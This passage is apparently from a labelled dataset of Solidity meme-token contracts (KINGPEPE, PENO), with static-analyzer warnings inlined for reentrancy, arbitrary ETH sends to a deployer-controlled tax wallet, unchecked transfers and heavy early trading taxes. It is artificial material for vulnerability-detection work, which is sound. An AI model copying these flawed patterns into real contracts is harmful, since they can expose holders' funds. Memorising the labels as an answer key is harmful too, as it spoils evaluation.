change.\n uint256 private _initialSellTax = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: f5b02df): KINGPEPE._finalBuyTax should be constant \n\t// Recommendation for f5b02df: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 943b087): KINGPEPE._finalSellTax should be constant \n\t// Recommendation for 943b087: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 013c58a): KINGPEPE._reduceBuyTaxAt should be constant \n\t// Recommendation for 013c58a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: 79c612e): KINGPEPE._reduceSellTaxAt should be constant \n\t// Recommendation for 79c612e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: 68e0f97): KINGPEPE._preventSwapBefore should be constant \n\t// Recommendation for 68e0f97: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 3;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"KINGPEPE\";\n\n string private constant _symbol = unicode\"KINGPEPE\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ac9ac54): KINGPEPE._taxSwapThreshold should be constant \n\t// Recommendation for ac9ac54: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 212e7bd): KINGPEPE._maxTaxSwap should be constant \n\t// Recommendation for 212e7bd: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: dac538e): KINGPEPE.uniswapV2Router should be immutable \n\t// Recommendation for dac538e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5a0979d): KINGPEPE.uniswapV2Pair should be immutable \n\t// Recommendation for 5a0979d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8d30035): KINGPEPE.sellsPerBlock should be constant \n\t// Recommendation for 8d30035: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: a13031e): KINGPEPE.buysFirstBlock should be constant \n\t// Recommendation for a13031e: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 21;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0d56a8b): KINGPEPE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0d56a8b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 88ddf01): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 88ddf01: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 31c38bc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 31c38bc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 88ddf01\n\t\t// reentrancy-benign | ID: 31c38bc\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 88ddf01\n\t\t// reentrancy-benign | ID: 31c38bc\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0438f69): KINGPEPE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0438f69: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 31c38bc\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 88ddf01\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e7a9a4b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e7a9a4b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: cea4ef1): KINGPEPE._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for cea4ef1: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b80446c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b80446c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1d032c6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1d032c6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: cea4ef1\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: e7a9a4b\n\t\t\t\t// reentrancy-eth | ID: b80446c\n\t\t\t\t// reentrancy-eth | ID: 1d032c6\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e7a9a4b\n\t\t\t\t\t// reentrancy-eth | ID: b80446c\n\t\t\t\t\t// reentrancy-eth | ID: 1d032c6\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 1d032c6\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 1d032c6\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: e7a9a4b\n\t\t\t\t// reentrancy-eth | ID: b80446c\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e7a9a4b\n\t\t\t\t\t// reentrancy-eth | ID: b80446c\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: b80446c\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: e7a9a4b\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: b80446c\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: b80446c\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: e7a9a4b\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: e7a9a4b\n\t\t// reentrancy-events | ID: 88ddf01\n\t\t// reentrancy-benign | ID: 31c38bc\n\t\t// reentrancy-eth | ID: b80446c\n\t\t// reentrancy-eth | ID: 1d032c6\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 5c310b2): KINGPEPE.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 5c310b2: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: e7a9a4b\n\t\t// reentrancy-events | ID: 88ddf01\n\t\t// reentrancy-eth | ID: b80446c\n\t\t// reentrancy-eth | ID: 1d032c6\n\t\t// arbitrary-send-eth | ID: 5c310b2\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 22ae44a): KINGPEPE.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 22ae44a: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 22ae44a\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d8b0106): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d8b0106: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 70faed8): KINGPEPE.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 70faed8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 144c182): KINGPEPE.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 144c182: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0587372): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0587372: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: d8b0106\n\t\t// unused-return | ID: 70faed8\n\t\t// reentrancy-eth | ID: 0587372\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: d8b0106\n\t\t// unused-return | ID: 144c182\n\t\t// reentrancy-eth | ID: 0587372\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: d8b0106\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 0587372\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: d8b0106\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10888.sol",
"size_bytes": 23140,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract PENO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 88a5512): PENO._taxWallet should be immutable \n\t// Recommendation for 88a5512: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n\t// WARNING Optimization Issue (constable-states | ID: a04c970): PENO._initialBuyTax should be constant \n\t// Recommendation for a04c970: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 250;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0a0a7f1): PENO._initialSellTax should be constant \n\t// Recommendation for 0a0a7f1: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 250;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0d73560): PENO._finalBuyTax should be constant \n\t// Recommendation for 0d73560: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: de70d76): PENO._finalSellTax should be constant \n\t// Recommendation for de70d76: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 981bac5): PENO._reduceBuyTaxAt should be constant \n\t// Recommendation for 981bac5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2d71215): PENO._reduceSellTaxAt should be constant \n\t// Recommendation for 2d71215: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6b015fa): PENO._preventSwapBefore should be constant \n\t// Recommendation for 6b015fa: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 50;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Peno\";\n\n string private constant _symbol = unicode\"PENO\";\n\n uint256 public _maxTxAmount = 4206900000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: bab0e9d): PENO._taxSwapThreshold should be constant \n\t// Recommendation for bab0e9d: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 42069000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9c73e93): PENO._maxTaxSwap should be constant \n\t// Recommendation for 9c73e93: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 03ef4ad): PENO.caBlock should be constant \n\t// Recommendation for 03ef4ad: Add the 'constant' attribute to state variables that never change.\n uint256 public caBlock = 5;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: ff6bbdf): PENO.caStop should be constant \n\t// Recommendation for ff6bbdf: Add the 'constant' attribute to state variables that never change.\n bool public caStop = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 222de96): PENO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 222de96: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e16fa2a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e16fa2a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4f1514e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4f1514e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: e16fa2a\n\t\t// reentrancy-benign | ID: 4f1514e\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: e16fa2a\n\t\t// reentrancy-benign | ID: 4f1514e\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 742acb3): PENO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 742acb3: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 4f1514e\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: e16fa2a\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3c7d17f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3c7d17f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1b233e2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1b233e2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a60238d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a60238d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(1000);\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 3 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(1000);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caStop &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caBlock, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: 3c7d17f\n\t\t\t\t// reentrancy-eth | ID: 1b233e2\n\t\t\t\t// reentrancy-eth | ID: a60238d\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 3c7d17f\n\t\t\t\t\t// reentrancy-eth | ID: 1b233e2\n\t\t\t\t\t// reentrancy-eth | ID: a60238d\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: a60238d\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: a60238d\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 3c7d17f\n\t\t\t\t// reentrancy-eth | ID: 1b233e2\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 3c7d17f\n\t\t\t\t\t// reentrancy-eth | ID: 1b233e2\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 1b233e2\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 3c7d17f\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 1b233e2\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 1b233e2\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 3c7d17f\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n 